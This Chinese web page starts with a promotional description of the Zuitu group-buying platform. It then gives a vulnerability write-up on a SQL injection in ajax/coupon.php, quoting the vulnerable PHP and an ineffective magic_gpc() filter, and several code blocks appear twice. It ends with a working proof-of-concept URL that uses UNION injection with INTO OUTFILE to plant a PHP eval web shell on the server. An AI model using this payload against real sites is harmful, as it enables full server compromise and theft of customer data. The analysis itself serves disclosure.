最土团购系统是国内最专业、功能最强大的GroupOn模式的免费开源团购系统平台,专业技术团队、完美用户体验与极佳的性能,立足为用户提供最值得信赖的免费开源网上团购系统。
从技术层面来看,本程序采用目前软件开发IT业界较为流行的PHP和MYSQL数据库开发技术架构。从功能层面来看,前台首页每天显示一个服务或产品的限时限最低成团人数的团购项目,具有邮件订阅,好友邀请,人人网、开心网、新浪微博、MSN/QQ分享,短信发送,购买凭证券在线打印、下载等功能。 最土团购程序管理员后台具有人性化的邮件发送参数配置、邀请返利金额配置、短信接口配置、每日团购项目信息管理等控制管理模块,迅速的帮助有热情、有志向 投入运营团购网站的客户建立属于自己的团购网站。
为了能高效地开发网站,公司有一套系统化的开发原则,但也不是作为一成不变的必须严格遵守的条文,特殊情况下可以灵活运用,做一定的变通。这样做的好处是在开发过程中会减少出错的几率,并使编程更加高效,有利于开发人员之间的合作,在出现BUG时也更容易查找漏洞。

0×0

最土团购盲注n枚

ajax/coupon.php

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);

$action = strval($_GET['action']);
$cid = strval($_GET['id']);
$sec = strval($_GET['secret']);

… … … … … … … … … … … … … … … …

else if ($action == ‘mobile_choice’){
$oid = strval($_GET['mid']);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order['user_id']);
$mobile = $order['mobile'];
if (!Utility::IsMobile($mobile)) {
$mobile= $user['mobile'];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);

$action = strval($_GET['action']);
$cid = strval($_GET['id']);
$sec = strval($_GET['secret']);

… … … … … … … … … … … … … … … …

else if ($action == ‘mobile_choice’){
$oid = strval($_GET['mid']);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order['user_id']);
$mobile = $order['mobile'];
if (!Utility::IsMobile($mobile)) {
$mobile= $user['mobile'];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}
当action为mobile_choice时,mid参数没有任何过滤直接传入查询,导致了注入的发生。老实说,代码里有个函数很像是用来做过滤的,看:

/app.php

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);

/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);

/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);
看得到有个magic_gpc(),再去看这个函数如何实现的

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}
若SYS_MAGICGPC为1,那就stripeslashes每个元素,如果没有则什么都不做,但是只有当gpc打开时,SYS_MAGICGPC为1。这是过滤?不知道,求大牛科普。

总之这样的代码漏洞百出,像是sql注入应该一抓一大把。权当用来消遣

0×1 PoC

测试:

http://target.com/ajax/coupon.php?action=mobile_choice&mid=1′)/**/and/**/1=2/**/union/**/select/**/

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

,28,29,30,31,32,33,34,35,36,37,38,39,40,%22%3C?php%22,%22@eval($_POST['ztz']);?%3E%22/**/into/**/outfile/**/%22c:\xxx\zuitu.php%22;%23

原文:http://fuzzexp.org/